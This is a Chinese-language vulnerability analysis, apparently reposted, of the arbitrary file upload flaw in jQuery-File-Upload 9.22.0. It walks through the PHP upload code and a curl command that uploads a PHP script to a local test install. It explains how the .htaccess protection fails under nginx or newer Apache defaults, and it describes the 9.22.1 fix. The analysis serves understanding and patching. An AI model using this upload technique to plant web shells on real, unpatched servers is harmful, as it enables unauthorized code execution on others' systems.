内容简介:在这看到的, 看到这个的时候有点疑惑这玩意不应该就是个前端的上传么, 怎么还会造成任意文件上传漏洞。 就去下了个源码看了下。
在这看到的, 看到这个的时候有点疑惑这玩意不应该就是个前端的上传么, 怎么还会造成任意文件上传漏洞。 就去下了个源码看了下。
漏洞复现
https://github.com/blueimp/jQuery-File-Upload/releases/tag/v9.22.0
下载了代码后, 发现原来也带了后端处理上传的脚本。在server目录下。
在server/index.php中
require('UploadHandler.php'); $upload_handler = new UploadHandler();
实例化了UploadHandler类。
在UploadHandler的构造方法中
构造方法中, 定义了一些配置信息。
然后
public function __construct($options = null, $initialize = true, $error_messages = null) { $this->response = array(); $this->options = array( 'script_url' => $this->get_full_url().'/'.$this->basename($this->get_server_var('SCRIPT_NAME')), 'upload_dir' => dirname($this->get_server_var('SCRIPT_FILENAME')).'/files/', 'upload_url' => $this->get_full_url().'/files/', 'input_stream' => 'php://input', 'user_dirs' => false, 'mkdir_mode' => 0755, 'param_name' => 'files', ................. ................. if ($initialize) { $this->initialize(); }
然后就调用了类中的initialize方法。
protected function initialize() { switch ($this->get_server_var('REQUEST_METHOD')) { case 'OPTIONS': case 'HEAD': $this->head(); break; case 'GET': $this->get($this->options['print_response']); break; case 'PATCH': case 'PUT': case 'POST': $this->post($this->options['print_response']); break; case 'DELETE': $this->delete($this->options['print_response']); break; default: $this->header('HTTP/1.1 405 Method Not Allowed'); }
根据对应的请求方式调用不同的方法。
大概get对应的是下载, post对应的是上传, delete对应的是删除操作。
但是在get和delete方法中, 由于都经过了basename方法的处理
所以只能删除files目录下的文件。
在post方法中
$files[] = $this->handle_file_upload( isset($upload['tmp_name']) ? $upload['tmp_name'] : null, $file_name ? $file_name : (isset($upload['name']) ? $upload['name'] : null), $size ? $size : (isset($upload['size']) ? $upload['size'] : $this->get_server_var('CONTENT_LENGTH')), isset($upload['type']) ? $upload['type'] : $this->get_server_var('CONTENT_TYPE'), isset($upload['error']) ? $upload['error'] : null, null, $content_range );
获取到FILES变量中的数据后, 直接就调用了handle_file_upload方法
protected function handle_file_upload($uploaded_file, $name, $size, $type, $error, $index = null, $content_range = null) { $file = new \stdClass(); $file->name = $this->get_file_name($uploaded_file, $name, $size, $type, $error, $index, $content_range); $file->size = $this->fix_integer_overflow((int)$size); $file->type = $type; if ($this->validate($uploaded_file, $file, $error, $index)) { $this->handle_form_data($file, $index); $upload_dir = $this->get_upload_path(); if (!is_dir($upload_dir)) { mkdir($upload_dir, $this->options['mkdir_mode'], true); } $file_path = $this->get_upload_path($file->name); $append_file = $content_range && is_file($file_path) && $file->size > $this->get_file_size($file_path); if ($uploaded_file && is_uploaded_file($uploaded_file)) { // multipart/formdata uploads (POST method uploads) if ($append_file) { file_put_contents( $file_path, fopen($uploaded_file, 'r'), FILE_APPEND ); } else { move_uploaded_file($uploaded_file, $file_path); }
在handle_file_upload方法中, 只要通过了validate方法, 那么就直接执行move_upload_file了。
protected function validate($uploaded_file, $file, $error, $index) { if ($error) { $file->error = $this->get_error_message($error); return false; } $content_length = $this->fix_integer_overflow( (int)$this->get_server_var('CONTENT_LENGTH') ); $post_max_size = $this->get_config_bytes(ini_get('post_max_size')); if ($post_max_size && ($content_length > $post_max_size)) { $file->error = $this->get_error_message('post_max_size'); return false; } if (!preg_match($this->options['accept_file_types'], $file->name)) { $file->error = $this->get_error_message('accept_file_types'); return false; }
这里通过或者配置变量数组中的accept_file_types来正则验证上传的文件名,
‘accept_file_types’ => ‘/.+$/i’,
配置文件中的accept_file_types为.+,
.代表着匹配任意字符 +1到多个字符, 所以是根本没有验证后缀的。
造成了任意文件上传。
$ curl -F "files=@yu.php" http://localhost/jQuery-File-Upload-9.22.0/server/php/index.php {"files":[{"name":"yu.php","size":20,"type":"application\/octet-stream","url":"http:\/\/localhost\/jQuery-File-Upload-9.22.0\/server\/php\/files\/yu.php","deleteUrl":"http:\/\/localhost\/jQuery-File-Upload-9.22.0\/server\/php\/index.php?file=yu.php","deleteType":"DELETE"}]}
就能直接上传成功了,上传到了files目录中。 但是访问后发现脚本没有执行。
在files目录下 有着一个.htaccess
# To enable the Headers module, execute the following command and reload Apache: # sudo a2enmod headers # The following directives prevent the execution of script files # in the context of the website. # They also force the content-type application/octet-stream and # force browsers to display a download dialog for non-image files. SetHandler default-handler ForceType application/octet-stream Header set Content-Disposition attachment # The following unsets the forced type and Content-Disposition headers # for known image files: <FilesMatch "(?i)\.(gif|jpe?g|png)$"> ForceType none Header unset Content-Disposition </FilesMatch> # The following directive prevents browsers from MIME-sniffing the content-type. # This is an important complement to the ForceType directive above: Header set X-Content-Type-Options nosniff # Uncomment the following lines to prevent unauthorized download of files: #AuthName "Authorization required" #AuthType Basic #require valid-user
The directives ForceType and SetHandler are used to associated all the files in a given location (e.g., a particular directory) onto a particular MIME type or handler.
.htaccess配置了 在files目录下 强制由default-handler来处理所有文件m, 并且强制mime type为application/octet-stream, 使files目录下的脚本不会被执行。开发者也是因为配置了.htaccess的情况下, 以为是绝对的安全了, 所以才没有进行验证后缀。
这里虽然配置了.htaccess 但仍然有两个安全隐患
1: .htaccess只对apache有效, 而在纯nginx(非反向代理)中是无效的, 在jquery-upload的readme中 好像也并没有看到有说明使用nginx时的安全隐患。
2: 在apache 2.3.9以后, allowoverride默认为none
https://httpd.apache.org/docs/current/mod/core.html#allowoverride
AllowOverride Directive Description: Types of directives that are allowed in .htaccess files Syntax: AllowOverride All|None|directive-type [directive-type] … Default: AllowOverride None (2.3.9 and later), AllowOverride All (2.3.8 and earlier) Context: directory Status: Core Module: core
可以看到很清楚的说明了, 在apache 2.3.9及以后版本 allowoverride默认为none,
在2.3.8及之前版本allowoverride默认为all。
allowoverride指定了在.htaccess配置文件中, 可以覆盖掉主配置文件的指令。 当allowoverride为none时, .htaccess文件就失去了它的作用, 所以jquery-upload中对files目录所设置的拒绝脚本文件执行也就失效了。 导致了getshell。
修复
Jquery-file-upload在9.22.1版本中修复了该漏洞。
在实例化UploadHandler类的时候, 传递了一个数组进去。数组里面带了一个accept_file_types来验证后缀。
在UploadHandler类的构造方法中,
if ($options) { $this->options = $options + $this->options; }
把传递进来的数组和自身的配置变量数组用加号进行合并,
使用加号合并时 出现key冲突时 前面的数组对应的value会覆盖掉后面的。
所以这时
$this->options['accept_file_types']
为
'/\.(gif|jpe?g|png)$/i'
在上传之前的validate方法中有通过获取accept_file_types来正则验证上传的文件名, 所以修复后就只能上传图片文件了。
修复后再上传脚本文件就失败了。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。